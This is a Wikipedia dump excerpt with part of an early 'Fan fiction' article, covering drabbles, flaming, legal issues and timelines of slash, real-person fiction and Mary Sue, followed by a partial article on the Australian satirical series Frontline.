The term drabble originates from the 1971 book ''Monty Python’s Big Red Book'': &quot;Drabble. A word game for 2 to 4 players. The four players sit from left to right and the first person to write a novel wins.&quot;  The term continued to float around. By the mid1980s, it was being used in the science fiction community, at various conventions and other fan gatherings. By 1988, the term was being used in the main stream science fiction community. There were several books of published drabbles by professional authors. Included in the 1988 book Drabble Project was one by Terry Pratchett and one by Isaac Asimov. Magazine of Fantasy and Science fiction also ran a contest for drabbles. By 1990, the term was being used on-line. One of the first mentions of, with the 100 word definition, it on Usenet was in May of 1990 on rec.arts.sf-lovers though there might be an earlier reference as most Usenet archives are not complete.  One of the earliest references to a drabble in a purely fannish context on-line was on alt.startrek.creative in July of 1993. Some one mentioned a drabble by Kate Orman, a Doctor Who and Star Trek fan fiction writer. Given the discussion, it is obvious the drabble was posted to the community earlier. In September of 1993, David Howe and David Ware were the editors of the ten released book ''Drabble Who'' which contained drabbles set in the Doctor Who universe. This was a professional book.  By 2000, probably earlier, the term drabble was being used in the Swedish and Finnish fan fiction communities. The usage of the term in this community probably predates this.

It wasn't until the mainstreaming of fan fiction that some communities began to change the definition because of misunderstandings, interpretation and a lack of centralization in fandom helping to ensure definition continuity.  For this reason, a few mostly on-line fan fiction communities define drabble differently.  These communities are not the norm.

MSTs have also been made using the Harry Potter book series, mainly having canon chacters, usually those in a earlier time period (eg; Harry's parents when they were teenagers), mysteriously find the books and read them, discovering the future. These have been banned on FanFiction.net for direct copyright infringement and plagarism, but can still be found on independent websites by an author, SoupFiction.net and FictionAlley.org.

===Reviews and Flaming===
Many fan fiction websites give readers the option of leaving reviews, where they can express their thoughts on the story.  Usually, the review is directed at the author, letting him or her know what the reader thought of the story or giving hints on how to fix the story up.  

Flaming is the act of leaving a review that expresses an extreme dislike for a fan fiction, while simultaneously offering no, or a very poor, reason as to why and no advice on how to improve the story. Flames are often very brief and more than likely are intended to be hurtful and/or insulting.  

Example of a flame: ''&quot;This story blows!  You should delete this and then go shoot yourself!&quot;''

Many times, people confuse flaming with constructive criticism, when, in fact, the two are very different.  Constructive criticism gives both a valid reason as to why the reviewer doesn't like the story and ways on how to improve it.  

Example of constructive criticism: ''&quot;The grammar in this story is very poor.  Next time, try having someone proofread the story before posting it.&quot;''

Sometimes, a person will leave a negative review with a valid reason as to why they dislike the story, but will not offer any way as to how to improve it.  While these reviews can often be harsh, they should not be confused with flames.  Usually, these reviews can be considered a harsher form of constructive criticism or just a negative review.

Example of a negative review: ''&quot;This story is horrible.  You have the characters doing things that are completely OOC (out of character), and your grammar is horrible!&quot;''

Sometimes, reviewers somehow manage to leave a combination of all three in a single review, although weirder reviews occur than this combination.

==Legal aspects==
According to current U.S. [[copyright]], copyright owners have the right to control or restrict the publishing of &quot;derivative works&quot; based on their material, though they do not receive ownership of those works. The owner of the original work (film, TV show, etc.) therefore may have some legal power over fan fiction, though the laws as written do not address the issue directly. 

Since American copyright law specifically protects parody, and also includes a provision that the specifically protected categories are not necessarily the only protected categories, fan fiction remains in a legal gray area. But even without an official ruling on the legality of fan fiction, the owners of intellectual property can exert a great deal of influence on fans.  For instance, a [[cease and desist]] letter from an entity with deep pockets exerts a great deal of influence on a single person who can scarcely afford legal representation.  Conversely, the bad publicity and ill will generated by attacking one's own fan base can give even a large corporation second thoughts about conducting a legal campaign against fan writers.

It must also be noted that, separate from copyright issues, many characters in American television and film productions are also [[registered trademark]]s of the producing company. However, this only requires that fan fiction producers make certain that their work cannot be confused with the trademark holder, and does not claim to be endorsed or produced by them; it does not ban the use of a character any more than the registered trademark status of [[Coca-Cola]] prohibits its mention here. Most authors avoid legal trouble by including short disclaimers at the beginnings of stories or chapters.

Also, fan writers argue that their work does not cost the owner of the source material any income, and often acts as free promotion, while fan writers themselves earn no profit. Legally, copyright (and trademark) infringement can still occur even when the infringers do not profit; however, the non-profit nature of fan fiction is important legally, because it limits or eliminates the damages that a court could find and also makes possible some defense against claims of infringement under copyright [[fair use]].

Most major studios and production companies tolerate fan fiction, and some even encourage it. [[Paramount Pictures|Paramount]], for example, has allowed the production of two series of ''[[Star Trek]]'' fan fiction anthologies, ''Star Trek: Strange New Worlds,'' a series of seven anthologies of fan fiction selected by contest, and Bantam's ''Star Trek: The New Voyages'' which followed Bantam's ''Star Trek Lives'' by reprinting stories from various fanzines. 

A noted exception is [[Lucasfilm]], which has threatened or sued many sites precisely because of their non-commercial nature. Strangely, though, the company encourages fan-produced films, and once made available a small library of sound effects.  

Most writers and producers do not read fan fiction, somewhat ironically, for fear that they might be accused of stealing a fan's ideas. But many encourage it: When [[Buffy the Vampire Slayer]] went off the air, for instance, creator [[Joss Whedon]] encouraged fans to read fanfiction during the show's timeslot. [[J. K. Rowling]] says she loves fan fiction of all kinds, though she admits to finding some of the works to be 'quite bizarre'. [[Douglas Adams]] also reportedly appreciated fan fiction based on his works, to the extent that some would say that there are scenes in ''[[So Long, and Thanks For All the Fish]]'' that seem to be inspired by fan fiction.

Noteworthy in regard to acceptance of fan fiction is [[Eric Flint]], who has set up a formal site for the submission of fan fiction into his canon in the [[1632 series]] at [http://bar.baen.com Baen's Bar] and has to date published five issues of the ''[[Grantville Gazette]]'' featuring fan fiction and fan-non-fiction alongside his original work.  Flint contends that this allows the expansion of the alternate history universe into something approaching the complexity of reality. 

Also noteworthy is the series of ''[[Darkover]]'' anthologies published by [[Marion Zimmer Bradley]], beginning in [[1980]] consisting largely of fan fiction extended into her canon.   The author eventually discontinued these after a skirmish with a fan, which cost Bradley a book.  This incident led to a &quot;zero tolerance&quot; policy on the part of a number of professional authors, including [[Andre Norton]], [[David Weber]] and [[Mercedes Lackey]].  Some television producers have implemented similar constraints, one example being ''[[Babylon 5]]'' creator [[J. Michael Straczynski]].  His demand that ''Babylon 5'' fan fiction be clearly labeled or kept off the net confined most of the ''Babylon 5'' fan fiction community to mailing lists.  The repercussions of this incident are still being felt to date.

[[Anne Rice]] also aggressively prevents any fan fiction of any of her characters (mostly those from her famous ''[[Interview with the Vampire]]'' book) or anything to do with any of her books. Similar efforts have also been taken by [[George R. R. Martin]], author of the famous ''[[Song of Ice and Fire]]'' series, among other fantasy and science fiction novels. Many authors do this, they claim, in order to protect their intellectual copyright and prevent any dilution, saturation and distortion of the universes and people portrayed in their works.

One curious case is that of [[Larry Niven]]'s ''[[Known Space]]'' universe. In an author's note in ''The Ringworld Engineers'', Niven stated that he was finished writing stories in this universe, and that &quot;[i]f you want more ''Known Space'' stories, you'll have to write them yourself.&quot; Internet writer [[Elf Sternberg]] took him up on that offer, penning a [[parody]] in which members of Niven's hyper-masculine Kzin species engage in gay sex and [[BDSM]]. [http://www.drizzle.com/~elf/other/The_Only_Fair_Game.html] Niven responded by denouncing Sternberg's story in the introduction to a later volume and issuing a cease-and-desist for copyright violation. To date, Sternberg holds that the story is constitutionally protected parody [http://groups-beta.google.com/group/rec.arts.sf.written/msg/6eadf6478c3e30dd?dmode=source], while Niven maintains that it is a copyright violation (but has not legally pursued the matter further). [http://interviews.slashdot.org/article.pl?sid=03/03/10/167206&amp;mode=thread&amp;tid=134&amp;tid=192]

In [[Russia]], where copyright laws have been lax at best, it is not uncommon to see fan fiction based on the work of popular authors published in book form. [[Sergey Lukyanenko]], a popular science fiction author, went as far as to incorporate some fan fiction based on his stories into official [[Canon (fiction)|canon]] (with permission of the writers of the said fan fiction). 

In the [[United States]], tie-in novels have the curious status of officially sanctioned, for-profit fan fiction. Series from ''[[Star Trek]]'' to ''[[Buffy the Vampire Slayer]]'' have numerous books that exist outside the canonical world of the series, much like fan fiction, but which have the official sanction of the show's creators. The refusal by [[Paramount Pictures]] (owners of the ''Trek'' franchise) to allow printed adventures to be considered part of the [[canon (fiction)|canon]] has led many fans to consider the books to be fan fiction despite their legal and licensed status. The official ''[[Star Wars]]'' book series is part of the continuity of the ''Star Wars'' universe, and cannot strictly be considered fan fiction, either.

In [[Japan]] the writing and even sale of fan fiction (especially in the form of [[doujinshi]]) is totally legal, and in many cases encouraged. It is looked on, more often than not, as a form of advertising, a similar attitude to that developed by many sectors of the recording industry toward [[Cassette culture|tape trading]]. In some cases, the actual creators of anime and manga series have even produced doujinshi based on their own works, without the involvement or approval of their publishers. While such stories can be useful in determining authorial intent, because of their unofficial status they are usually not considered canon.

The attitude of copyright holders toward incorporating fan fiction into the canon varies.  It is generally the case that the writers hired for a television or movie are under strict orders not to read fan fiction out of fear that doing so will cause the copyright holder to be sued later for infringement.  However, some copyright holders such as the case of the [[BBC]] and ''[[Doctor Who]]'' have mechanisms to allow for unsolicited submissions of stories into the official canon, and it is also the case that the writers of canon stories have sometimes been recruited from fan fiction writers.

==Fan fiction timelines==
===Slash timeline===
* [[1968]]: The &quot;Ring of Shoshern&quot; was circulating privately in the United Kingdom. While it would not be published until 1989 by Alien Brothers, it may have originally been written as early as 1969 or 1970.[http://www.beyonddreamspress.com/history.htmlink Source]

====1970s====
* [[1970]]: Slash has begun to show up on the scene, in underground, distributed by hand stories. While these stories were not published in the Star Trek community for another four years, Henry Jenkins notes that the Star Trek fan fiction community initially greeted this material with stiff resistance. It would take many years before this material was viewed as broadly acceptable in the Star Trek community, with some fen going out of their way in an attempt to marginalize this material by sending copies to various actors whose characters were being portrayed as gay. In one case, a fan sent a piece of slash to William Shatner hoping the actor would crack down on the material. According to several sources, the author consulted his lawyer who told him to let it go as it would do more harm than good to go after it.
* [[1970]] to [[1975]]: [[Henry Jenkins]] cited this period in the early 1970s as having a slash fan fiction community with 90% female composition. This trend of females being the large majority of slash readers and writers would continue well up until the present time.
* [[1974]]: &quot;A Fragment Out Of Time&quot; is the first known [[Star Trek]] slash to be published in fanzine. The author was [[Diane Marchant]]. The vignette was published in Grup #3. The language was highly coded and didn't refer to Spock and Kirk by name but rather referred to them as he and him.
* [[1975]]: In &quot;Halkan Council,&quot; [[Diane Marchant]] published an essay about [[Star Trek]] [[Kirk/Spock]] slash. The first public discussion of this essay occurred in the [[Star Trek]] letterzine, &quot;&quot;Grup&quot; #4.&quot; as a reaction to the essay written by [[Diane Marchant]].
* [[1975]]: Star Trek Lives!, editted and written by [[Jacqueline Lichtenberg]], Sondra Marshak and Joan Winston, was published. This book contained a chapter at the end of the book which examines Star Trek fan fiction and the Kirk/Spock relationship in fan fiction. This book is important because that last chapter helped formed a lot of the modern thought on slash fan fiction communities. Scholars still cite this source today.
* [[1976]]: According to the [[National Library of Australia]], the [[Star Trek Action Committee]] was formed as a Star Trek Club. This Star Trek Club held its first meeting in April. Members included Susan Clarke, Julie Townsend and Edwina Harvey. This fanclub would publish the Star Trek adult fanzine, containing both het and slash, Beyond Antares.
* [[1976]]: In June, &quot;Alternative: Epilog to Orion&quot; is written by G. Downes and published in a fanzine. It was the second piece of Kirk/Spock slash to appear.
* [[1978]]: Thrust was the first [[Star Trek]] anthology fanzine published to contain only [[Kirk/Spock]] slash.

====1980s====
* [[1980]]: Slash was discussed at a panel at Media West.
* [[1980]]: The [[Starsky and Hutch]] community in England veers into the land of slash. This happened when “Forever Autumn” was published in March. According to Langley and K. S. Boyd, this type of content later caused a disruption in the community as members worried about the reaction of the actors, networks and producers to this material if fen were to publish slash zines. They feared that those parties would acquire these materials and begin a crackdown to prevent the proliferation of this material.
* [[1980]] to [[1984]]: The Professionals (a UK spy TV show starring Martin Shaw and Lewis Collins) fan community starts up as a primarily slash based community.
* [[1980]]: [[Led Zeppelin]] fan fiction was circulating in fanzines. The early zines used the names Tris and Alex instead of Jimmy Page and Robert Plant. This material was being circulated with an awareness on the part of the parties involved and was slashy in nature.
* [[1981]]: Slash was being discussed in the [[Star Trek]] fan fiction community, as was to how people preferred to view the Kirk-Spock-Bones relationship. Verba cited a survey which said most people preferred to see that relationship as a friendship.
* [[1984]]: Archives from [[net.startrek]] during that period show that discussion of slash, referenced as K&amp;S instead of the current convention of K/S to refer to the [[Kirk/Spock]] relationship, was happening on the group, along with advertisements for various [[Star Trek]] fanzines.
* [[1985]]: The term, slash, is used for the first time in the fanzine &quot;Not Tonight, Spock.&quot;
* [[1986]]: One of the first pieces of femmeslash was published this year. It appeared in the Women’s List 2. The story was a Star Trek story where Saavik went into pon far and started a relationship with a female Romulan physican. The story was written by Ouida Crozier.
* [[1987]]: Based on analysis of Datazine by Verba, slash was beginning to occupy a large part of the Star Trek community. Datazine 48 listed 47 non-Kirk/Spock zines compared to 30 [[Kirk/Spock]] zines. Verba did another analysis Universal Translator. She found 144 non-Kirk/Spock fanzines compared to 58 Kirk/Spock fanzines.
* [[1989]]: In the Eroica fan fiction community, Caged Flight 1: Le Coq d'Or was written by BT. It was slash. Sequels were published in 1992, 1993 and 1994. It was some of the earliest fan fiction written in this community.

====1990s====
* [[1990]]: Slash appeared on-line this year in one of the first references to be found. This reference happened on Usenet in the Star Trek community. The reference was found in rec.arts.startrek’s FAQ.
* [[1993]]:  First slash mailing list created, run from a private list-serv on the East Coast.  It was called &quot;Virgule&quot; (a reference to the / symbol) and membership was limited to women. It remained active through the 1990s, until more fandom specific slash mailing lists on Egroups and Yahoogroups became popular.
* [[1995]]:  Seven slash stories were posted to alt.tv.x-files.creative.
* [[1996]]: On April 16, Michael Demcio's &quot;Rhyme and Reason,&quot; premieres as the first Rescue Ranger fan fiction on Usenet. It was the first novel-length Ranger story, and the first story to explore the possibilities of the Chip/Gadget relationship, the first to provide real character development for any of the characters.
* [[1996]]: Bambi was published. This was a slash zine about the Guns N Roses member, Slash.
* [[1996]]: The X-Files fan fiction community begins to become more Mulder/Scully Romance centered and the subgenre being a dominant force in the organization of the community. At the same time that this is happening, the slash component, largely marginalized and kept separate from the bigger archives and alt.tv.x-files.creative, begins to form and grow. On July 31, Brenda Antrim's &quot;Krychek&quot; was the first piece of Mulder/Krycek slash, and between October and December, the Mulder/Krycek Romantics Association and the Mulder/Skinner Slash Society were created. These three events would be very influential in the X-Files slash fan fiction community.
* [[1997]]: In December, slash reaches a critical mass in the X-Files fan fiction community.
* [[1997]]: alt.fan.disney.afternoon discusses the merits of a Chip/Gadget relationship. This discussion leads to bitterness on both sides of the argument.
* [[1998]]: On March 12, Sofie Werkers founded the Rareslash mailing list. 
* [[1998]]: On Alt. Startrek. Creative. Erotica. Moderated, related dialogue involves the issue of if slash and het need to be rated differently. 
* [[1998]]: The term, chick with a dick, enters fannish usage through the site God Awful Trek Fic.  The term, used derogatorily, referred to male characters being written effiminately in male/male pairings in order to put traditional male/female gender roles on the same sex pairing.
* [[1999]]:  In September, Least Expected, the first Lord of the Rings slash archive, was founded. 
* [[1999]]: On May 19, the Master and Apprentice archive was founded at http://www.sockiipress.org/ma/index.html . Currently, this archive is the largest archive of Obi-Wan/Qui-Gon on the Internet with over 2,400 stories archived. This archive was also important in that it seems to have set the trend of writing stories based on media BEFORE the media hits the public.
* [[1999]]: “Letters over the Sea,” one of the first pieces of slash published to the Internet and one of the more influential stories in the Lord of the Rings slash community, was published. It featured the Sam/Frodo pairing and was written by Gytha and Prembone.

====2000s====
* [[2000]]: ER Realms of Slash was founded.
* [[2000]]: RS-X, the Rare Slash Real Person Fic mailing list, was founded by Sofie Werkes.
* [[2000]]: Citizens Against Bad Slash was around and giving awards in various communities along with promoting dialogue on how to write good slash.
* [[2000]]: Willtara, a mailing list, was founded on January 30 of this year. It was created for the discussion of and posting of fan fiction related to the female/female slash pairing of Willow/Tara.
* [[2000]]: On February 3, the hpslash mailing list was founded.
* [[2000]]: In October, JayJay proposed the idea for the Snape Slash Fleet on the snapeslash mailing list.
* [[2000]]: On November 2, the snapeslash mailing list was created.
* [[2000]]: In December, the Snape Slash Fleet was founded. The Fleet connected seven sites for seven different Snape slash pairings. These sites and their pairings were: Black and Silver: Severus/Malfoys, Slug &amp; Jiggers Apothecary: the Snape/Rareslash Ship site, King of Cups, Knave of Pentacles:  Severus/Neville, Moonshadow: Severus/Remus, The Headmaster's Study: Severus/Albus, Thin Line: Severus/Sirius, Walking the Plank: Severus/Harry and The Snape/Weasleys Archive.
* [[2001]]: The Blink 182 slash fan fiction community based at FanFiction. Net was producing early and influential works in the community. Among these works are Advantages of Alcohol, Letters After Death, In my Room, Defying Gravity, and Deafening.
* [[2001]]: On July 28, the BibleSlash mailing list was created.
* [[2001]]: On March 25, the hpslash community was founded on LiveJournal.
* [[2002]]: On June 1, Armchair_slash, a mailing list for Harry/Draco fan fiction discussion, was founded.
* [[2002]]: In November, the harry_potter_slash mailing list was founded. This list saw its volume peak in December of 2004.
* [[2002]]: On December 12, the harrypottermpreg mailing list was founded. This community’s volume peaked around March/April of 2004.
* [[2002]]: On May 15, slashpuppets was founded. It was one of the first, possibly the first, LotR RPS role playing community.
* [[2003]]: XanderZone, a mailing list, was founded on March 17 of this year. It was created for the discussion and posting of Xander related fan fiction. Slash fic was and is not tolerated on the list.
* [[2003]]: In January, the first Harry Potter slash zine was published. 
* [[2003]]: On March 17, the LiveJournal community hp_girlslash was founded.
* [[2003]]: A search for “Harry Potter slash” on Google resulted in over 70,000 pages.
* [[2004]]: On February 2, Blink_Slash, a LiveJournal Blink 182 slash community, was founded.
* [[2004]]: On July 24, matag, a LiveJournal Blink 182 slash community, was founded.
* [[2005]]: In March, [http://www.skyehawke.com/ skyehawke dot com], a generalist fan fiction archive with a large Harry Potter user base, banned all fan fiction with chan, that is fan fiction featuring minors engaged in sex acts, from their site. This was done after research revealed that Australian laws make the publication of such material illegal.
* [[2005]]: On May 11, [http://www.ficwad.com/ FicWad.com], a slash-friendly multi-fandom archive was launched.  This was done after research revealed that [[FicWad.com]] wasn't in Australia.

*2005: After a website crash the Jensen Ackles Fansite is re-created [http://www.nunswithpens.hyperboards.com Nuns With Pens]

===Real Person fan fiction timeline===
The following is a timeline of events in the Real Person Fan fiction community:

====1970s - 1990s====
* From [[1977]] to [[1983]], [[Led Zeppelin]] fan fiction begins to circulate in fanzines. The early zines used the names Tris and Alex instead of [[Jimmy Page]] and [[Robert Plant]]. 
* It has been alleged (but never proved) that during the 1980s some ActorFic involving Paul Darrow (of ''[[Blake's 7]]'') existed.
* [[1991]] - [[Duran Duran]] slash and het fic circulated in fanzines. According to Sidewinder, Duran Duran zine people said that Duran Duran were aware of the fan fiction.  Sidewinder also notes that the RPF people at the time did not seem to come from the same community as &quot;traditional fan fiction fans&quot; were coming from. 
* March, [[1993]] - The Nifty Archive came on-line.  It is well known in fan fiction fandoms as a repository of boy band and celeb erotica.
* [[July 14]], [[1997]] - The first [[Hanson (band)|Hanson]] fan fiction is written and posted to the Internet.  It is titled &quot;Hanson &amp; Hugo&quot; and was written by Ghostman 7 productions.
* [[October 15]], [[1998]] - [[FanFiction. Net]] enacts a policy forbidding ActorSlash.  The Musician and other real person fic categories continue.

====[[2000]]====
* In January, an influential RPS discussion takes place on Rareslash mailing list, the list run by Sofie Werks. The discussion involved whether or not RPS should be allowed to be posted to the list.
* [[April 7]] - Bindlestitch, a [[mailing list]] on Due South was created as an RPF-friendly location for the following RPS communities: due South, Hard Core Logo and Last Night.
* Between June and November, FFN-Slashers-Unites discussed the ethical implications of Real Person Slash.
* In July, alt.fan.david-duchovny debated actorfic, the ethics of it and why people felt compelled to write it.
* In December, Puppies in a Box, an [[*NSYNC]] fan fiction site, went live. This site was apparently very important in the history of the *NSYNC fan fiction community. The site is now defunct.

====[[2001]]====
* [[Summer]] FictionAlley.org founded to host Harry Potter fanfic rated G through R.
* [[July 28]] - BibleSlash mailing list was created.
* Between [[December 19]] and [[December 28]], the tolkien_slash mailing list on [[Yahoo!]] discussed the slashy subtext between the actors in the movie. Subsequently on December 28, LOTR_RPS was created.  It was one of the first or the first LotR RPF communities.

====[[2002]]====
* [[May 15]] - slashpuppets was founded. It was one of the first, possibly the first, LotR RPS role playing community. 
* [[September 12]] - FanFiction. Net removes all Real Person Fic from the site and bans all Real Person Fic that does not tie in to other media directly.  They remove Musicians as a top level category.  During the same period that they ban Real Person Fic, they still allow for RPF in categories like Diaries of Anne Frank, Survivor and Celebrity Death Match.

====[[2003]]====
* March, alt.tv.buffy-v-slayer.creative discusses the legalities of actorfic.
* [[April 12]], idolslash, one of the most influential American Idol fan fiction communities, was founded on LiveJournal.
* [[May 5]] - current_affairs, a LiveJournal community for political slash, was created. 
* [[July 23]] - AFI_Slash livejournal community was created. It claims to be the first and only community.  It should be noted that this community is small and FanDomination. Net has most stories and authors than this community.
* [[August 10]] - www.theimmortalityproject.com is started by a woman known only as Anna. Soon becomes largest holder of My Chemical Romance-only fanfiction on the net.

====[[2004]]====
* [[April 26]] - rockfic.com went live, a repository and community for het, gen, and slash fanfics involving rock stars.
* Between July and November, political slash went mainstream in the RPF community when [[John Kerry]]/[[John Edwards]] slash becomes all the rage.
* [[July 6]] - johnxjohn, the Kerry/Edwards RPF LiveJournal community, was created.

===Timeline of Mary Sue===
====1970s====
* [[1973]]: While Star Trek fan fiction had a number of stories featuring this type of character, it was not until 1973 that a name was given to the annoying writing convention involving that ubiquitous original female character who became involved with one of men of Star Trek. She would be named by Paula Smith in the Star Trek fanzine Menagerie #2. The story was titled &quot;A Trekkie’s Tale.&quot; If you are interested in reading the story, it is reprinted in Verba’s Bold Writing. Paula Smith would go on to write several sequels to this story. This name and the character traits attributed to the character would stay with the fan fiction community for many years. Unlike most Mary Sues, Paula's was a parody. 
* [[1974]]: &quot;The Misfit (A Star Trek Romance)&quot; by Sharon Emily is an example of an early story with a Mary Sue type character. 
* [[1975]]: &quot;Double Double Toil and Trouble&quot; by Nickkee Grayson is another example of an early Mary Sue that was published this year in the [[Star Trek]] fan fiction community.
* [[1975]]: By 1975, the discussion regarding Mary Sue had begun. According to Verba, Paula Smith criticized a story that had been published in an issue of Warped Space. The criticism was because Paula Smith felt the story contained a Mary Sue. The Star Trek fandom did what we do in modern fan fiction culture: it kerfluffled over the issue of whether or not fan fiction should be criticized. There were two sides to this argument. One said that fan fiction should be held up to the same standards as professionally written work and was worthy of the same type of analysis as other literary works; the other side said, wait, no, this is for fun and we should not criticize it. The end result of this discussion was that a number of fanzines refused to publish anything but positive reviews of other zines and pieces of fan fiction.
* [[1978]]: &quot;Pasadena Blue&quot; by Paula Block is another example of an early Mary Sue. This story was published this year in the [[Star Trek]] community.

====1980s====
* [[1980]]: Frustrated Star Trek fan fiction writer Virginia Zanello wrote story called “Side Trip” which answered the question of how would the crew of Enterprise act if an actual Mary Sue showed up on the ship. (Verba) This indicated a sense of Mary Sue fatigue happening in the [[Star Trek]] community.
* [[1980]] to [[1988]]: The Blake’s 7 fan fiction community, based out of Australia, was going through a phase that other communities had gone through before. This period involved the writing of Mary Sues, with these stories being published in a number of fanzines. This phase would last several years. These Mary Sues were frequently paired with Travis as their primary love interest.
* [[1982]]: In November, in the Blake's fan fiction community, “The Price of Freedom,” by Sylvia White, was published in Orbit #1. According to Sarah Berry, this was one of “the world's longest Mary Sues.”
* [[1983]]: “Marisoo Tudewesque” by Sharon Macy was published. This story was another piece of satire, further mocking the Mary Sue type stories in the [[Star Trek]] community.
* [[1985]]: Mary Sue begins to cross various fannish lines. One of the first references to her, using the definition established by Paula Smith on-line happened on Usenet. This term has also crossed fannish communities and is being used in the comic book fan fiction community.

====1990s====
* [[1990]]: Mary Sue, where are you? This is an observation made on rec.art.startrek by Bob Mosley III. He noted that Mary Sue has been noticeably absent in the posting of fan fiction to the group. No posts prior to this mention her. This stands out given that there are very few other references to Mary Sue on Usenet prior to this date. Various zine communities had been struggling with Mary Sue for sometime but this was fan space where it was not an issue.
* [[1996]] to [[1997]]: During this period, a long debate broke out on HLFIC-L in regard to the male version of Mary Sue. The debate asked the question of whether it was possible to have a male Mary Sue. After some consensus was reached that this was possible, the list reached another general consensus as to call this particular fannish animal. The name they arrived at: Marty Sam.
* [[1998]]: The “Thundercats Mary Sue Litmus Test” was written.
* [[1999]]: &quot;The Labyrinth Mary Sue Litmus Test” was created by Alexa Close on July 30, 1999.

====2000s====
* [[2000]]: The [[Protectors of the Plot Continuum]] are formed by Jay and Acacia to protest the influx of poorly written fanfiction and Mary Sues on the internet.
* [[2000]]: Priscilla Spencer wrote the “[[Harry Potter]] Mary Sue Litmus Test.”
* [[2001]]: In March, the “[[Sentinel]] Mary Sue Litmus Test” was created.
* [[2002]]: “The [[Gatchaman]] Mary Sue Litmus Test” was created by Emby Quinn.
* [[2002]]: By 2002, the definition of Mary Sue began to change as Mary Sue became further and further removed from her roots. In communities like [[Harry Potter]] and [[Good Charlotte]], on sites like [[SugarQuill]] and [http://www.fandomination.net FanDomination.Net], the community took their understanding of Mary Sue, which was filtered through several layers of various [[fen]], and came to a new understanding. This understanding began to define almost every original character in fiction as a Mary Sue as they all could be said to have traits of Mary Sue. In communities where there was a distinct absence of canonical female characters and people, in communities like Mest and Good Charlotte, Mary Sue began to be defined as any original female character in fan fiction.
* [[2002]]: The “[[Lord of the Rings]] Mary Sue Litmus Test” was written.
* [[2002]] to [[2003]]: [[SugarQuill]] held a discussion regarding Mary Sue which started the trend of defining almost every original character in [[Harry Potter]] fan fiction as a Mary Sue.
* [[2003]]: Rhiannon Shaw posts [http://rhi.moonlit-eyrie.com/stories/originalcharacters.html How 'Mary Sue' is killing original fic on the Net] in March of this year.
* [[2003]]: The “Inuyasha Mary Sue Litmus Test” was created by Mette Krangnes on April 23 of this year.
* [[2003]]: In this year, various articles were written in the [[Les Misérables]] community about Mary Sue and some of the problems regarding her that were happening in the community.

==See also==
* [[Collaborative fiction]]
* [[Fanon (fiction)|Fanon]]
* [[Fandom]]
* [[Fanposter]]
* [[FanFiction.Net]]
* [[Shared universe]]
* [[Webserial]]

==External links==
* [http://www.subreality.com/glossary/terms.htm The Fan Fiction Glossary]
* [http://www.trickster.org/symposium/symp173.htm Fanfic Symposium: History of Fan Fiction]
* [http://www.chillingeffects.org/fanfic/faq.cgi Fan Fiction FAQ] at chillingeffects.org

[[Category:Fan fiction|*]]

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  <page>
    <title>Frontline (Australian TV series)</title>
    <id>11281</id>
    <revision>
      <id>41646850</id>
      <timestamp>2006-02-28T19:48:19Z</timestamp>
      <contributor>
        <username>Asa01</username>
        <id>448204</id>
      </contributor>
      <comment>/* Setting */ reword the bit on Moore</comment>
      <text xml:space="preserve">[[Image:728252.jpg|thumb|right|130px|DVD cover for Series 1 of Frontline (from left to right: Rob Sitch, Bruno Lawrence, Jane Kennedy, and Tiriel Mora)]]

'''Frontline''' is an [[Australian]] [[comedy]] [[television]] series which satirised Australian television current affairs programs and reporting. It ran for three series of 13 half-hour episodes and was broadcast on the [[Australian Broadcasting Corporation]] in [[1994]], [[1995]] and [[1997]]. 

==Production==
The series was written, directed, and produced by the tight-knit team of [[Jane Kennedy (actor)|Jane Kennedy]], [[Tom Gleisner]], [[Rob Sitch]], and [[Santo Cilauro]]. They had met at the [[University of Melbourne]] and after creating and performing in the popular ABC comedy series ''[[The D-Generation]]'' and ''[[The Late Show]]'' and a stint on radio they created ''Frontline''. After ''Frontline'' they moved into feature films, making several popular Australian movies including ''[[The Castle (film)|The Castle]]'' and ''[[The Dish]]'', and for several years they have hosted the popular panel discussion show ''[[The Panel]]''. 

Kennedy, Sitch, Cilauro also acted on the show, as well as [[Tiriel Mora]], [[Alison Whyte]], and numerous other notable Australian actors appeared in guest roles. Gleisner also appeared in a regular cameo role as a photocopier repair man.

The series was partly inspired by a ''[[60 Minutes (Australia)|60 Minutes]]'' special 'Has the media gone too far', not ''[[Drop the Dead Donkey]]'' as some have suggested.

==Setting==
The series followed the fortunes of a fictional current affairs show, ''Frontline'', and satirised the machinations of the ruthless producers, the self-obsessed airhead host, and the ambitious, cynical journalists, all of whom resort to any sort of underhanded trick to get ratings and maintain their status -- including the use of hidden cameras, foot-in-the-door, bullying interview techniques and cheque-book journalism -- not to mention ingratiating themselves with the all-powerful network bosses -- while all the real work is in fact done by their long-suffering production staff. 

What gave the show its special edge was that the stories and the actions of the characters were often thinly-disguised parodies of recent real events and real people. In particular it parodied the [[Nine Network]]'s ''[[A Current Affair (Australia)|A Current Affair]]'' and the [[Seven Network]]'s ''[[Real Life (TV series)|Real Life]]'' (up to 1994) and ''[[Today Tonight]]'' (1995 onwards).

The dim witted, egotistical host of the fictional show, Mike Moore (played by Sitch), parodied current television hosts and journalists. Sitch has claimed that none of the characters were directly based on a single person, and indeed the character of Moore was a combination of well-known characteristics of several high-profile television figures. Moore's personality and his antics embodied similarities with ''A Current Affair'' host [[Ray Martin (television presenter)|Ray Martin]], Martin's predecessor [[Mike Willesee]], and ''Real Life'' host [[Stan Grant (junior)|Stan Grant]].

Parallels might also be drawn between ''Frontline'' and ABC's ''[[Media Watch (Australian TV series) | Media Watch]]''. Much of the real life journalistic misconduct reported on ''Media Watch'' later appeared on ''Frontline'' in fictionalised form, and one episode of ''Frontline'' involves a ''Media Watch'' episode critical of the show.

==Series==
One memorable episode of Series 1 (&quot;The Siege&quot;) featured an incident in which the hapless Moore causes havoc when he finds himself negotiating by telephone, live to air, with a gunman who is holding some children hostage &amp;ndash; this was a thinly veiled parody of a very similar and highly controversial real-life incident involving Mike Willesee. 

A scene in another episode, in which Moore performs an embarrassingly bad version of [[Eric Clapton]]'s  ''Tears In Heaven'' while accompanying himself on guitar, is considered a clear dig at Grant, who is an amateur musician. It was claimed in the media at the time that Grant hated the show, was convinced that Mike Moore was a [[caricature]] of him and supposedly forbade any mention of the series in the ''Real Life'' offices.

The series also contained a number of running gags which continued from program to program, including the fact that young sound man Jason Cotter (Torquil Neilson) never spoke.

The first series of ''Frontline'' was, unfortunately, the final screen role for renowned musician and actor [[Bruno Lawrence]], who played the fictional series' devious, golf-loving producer, Brian Thompson. Lawrence was diagnosed with inoperable cancer shortly after the end of the first series, while he was working on the Australian film ''[[Cosi]]'' and he died on [[10 June]] [[1995]]. For the second series he was replaced by Australian actor Kevin J. Wilson and in the third series the producer was played by [[Steve Bisley]].

==Other information==
